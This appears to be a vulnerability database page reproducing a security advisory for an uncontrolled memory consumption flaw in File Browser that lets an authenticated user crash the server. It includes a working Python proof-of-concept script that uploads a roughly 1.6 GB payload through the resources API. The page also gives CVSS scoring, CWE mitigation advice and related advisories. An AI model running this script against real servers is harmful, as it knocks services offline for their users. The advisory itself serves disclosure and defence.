Skip to content

GHSA-7xqm-7738-642x CVE-2025-53893 GO-2025-3811

File Browser's Uncontrolled Memory Consumption vulnerability can enable DoS attack due to oversized file processing

Medium Go
Severity
0.0 / 10
Medium · CVSS 4.0
Exploit chance (EPSS)
0.41%
Chance of exploitation in the next 30 days. Higher than 34.86% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-400 Uncontrolled Resource Consumption
CWE-789 Memory Allocation with Excessive Size Value
Fix
None yet
No fixed version published

Description

Summary

A Denial of Service (DoS) vulnerability exists in the file processing logic when reading a file on endpoint Filebrowser-Server-IP:PORT/files/{file-name} . While the server correctly handles and stores uploaded files, it attempts to load the entire content into memory during read operations without size checks or resource limits. This allows an authenticated user to upload a large file and trigger uncontrolled memory consumption on read, potentially crashing the server and making it unresponsive.

Details

The endpoint /api/resources/{file-name} accepts PUT requests with plain text file content. Uploading an extremely large file (e.g., ~1.5 GB) succeeds without issue. However, when the server attempts to open and read this file, it performs the read operation in an unbounded or inefficient way, leading to excessive memory usage.

This approach attempts to read the entire file into memory at once. For large files, this causes memory exhaustion resulting in a crash or serious performance degradation. In the filebrowser codebase, this can be due to:

  • Lack of memory-safe streaming or chunked reading during file processing.
  • Absence of validation or size limits during the read phase.
  • Possibly synchronous or blocking file parsing without protection.

PoC

  1. I run the project via docker (latest version, 2.38.0) using the following command found in the documentation:
docker run \
    -v filebrowser_data:/srv \
    -v filebrowser_database:/database \
    -v filebrowser_config:/config \
    -p 8080:80 \
    filebrowser/filebrowser```
  1. First login in your filebrowser and create a simple empty file eg. name it another
  2. We will add a large data into this file via PUT method on the api by running the following Python script (as an exploit PoC script)
import requests

url = "http://filebrowser-server-IP:8080/api/resources/another"
auth_token = "eyJh-auth-token-goes-here"
headers = {
    "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0",
    "Accept": "*/*",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate, br",
    "Referer": "http://filebrowser-server-IP:8080/files/another",
    "X-Auth": auth_token,
    "Content-Type": "text/plain;charset=UTF-8",
    "Origin": "http://filebrowser-server-IP:8080",
    "Connection": "close",
    "Priority": "u=0"
}

# Generate a very large string into a file (e.g 1.6 GB)

base = "testing data goes here\n"
repeat_count = 120_000_000  

data = base * repeat_count

print("Sending large payload...")
response = requests.put(url, headers=headers, data=data)

# Output the response
print(f"Status Code: {response.status_code}")
print("Response Body:")
print(response.text)
  1. After running this script, go back in your filebrowser dashboard and try to open the file another - try to read the content in this file. The file will open on another tab and it will hang there consuming memory and resources. The entire server will remain unresponsive until the entire file loads (takes long time)

Impact

Denial of Service

Evidence

<img width="2191" height="350" alt="Pasted image (4)" src="https://github.com/user-attachments/assets/98af76ad-0714-40a9-a92b-b2d4a5941ab7" />

<img width="2012" height="1039" alt="Pasted image (2)" src="https://github.com/user-attachments/assets/d1ba3282-6c4d-4d35-81c7-87d4e0274f85" />

Affected versions

Go

PackageVulnerableFixed in
github.com/filebrowser/filebrowser
>= 1.0.0
No fix yet
github.com/filebrowser/filebrowser/v2 1 listed versions No fix yet
github.com/filebrowser/filebrowser/v2
>= 2.0.0-rc.1
No fix yet

How to fix

No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
None
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None
Exploit maturity
Proof of concept

CVSS 3.1 6.5

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-400: Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource.

How to prevent it
  • Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
  • Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
  • Implementation: Ensure that all failures in resource allocation place the system into a safe posture.

CWE-789: Memory Allocation with Excessive Size Value

The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.

How to prevent it
  • Implementation, Architecture and Design: Perform adequate input validation against any value that influences the amount of memory that is allocated. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.
  • Operation: Run your program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-833g-cqhp-h72j
File Browser: Share API exposes the password hash and bypass token
Low Also affects github.com/filebrowser/filebrowser
GHSA-83xp-526h-j3ww
File Browser: Archive builder turns backslash filenames into path traversal (zip-slip)
Medium Also affects github.com/filebrowser/filebrowser
GHSA-7rc3-g7h6-22m7
File Browser: Colliding username normalization gives two users the same home directory
High Also affects github.com/filebrowser/filebrowser
GHSA-8wc8-hf36-mjh9
File Browser: ScopedFs follows a dangling symlink on write, letting a scoped user create files outside their scope
Medium Also affects github.com/filebrowser/filebrowser
GHSA-fmm7-x4gx-8jhr
File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup
High Also affects github.com/filebrowser/filebrowser
GHSA-xqp3-jq6g-x3qm
File Browser: Authentication Bypass via Proxy Auth Header Forgery
Critical Also affects github.com/filebrowser/filebrowser
GHSA-m93h-4hw7-5qcm
File Browser: Command Injection via Authentication Hook Shell Substitution (Pre-Authentication RCE)
Critical Also affects github.com/filebrowser/filebrowser
GHSA-8c9q-7855-wfxq
File Browser has a Command Execution Allowlist Bypass via Shell Metacharacter Injection
High Also affects github.com/filebrowser/filebrowser
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor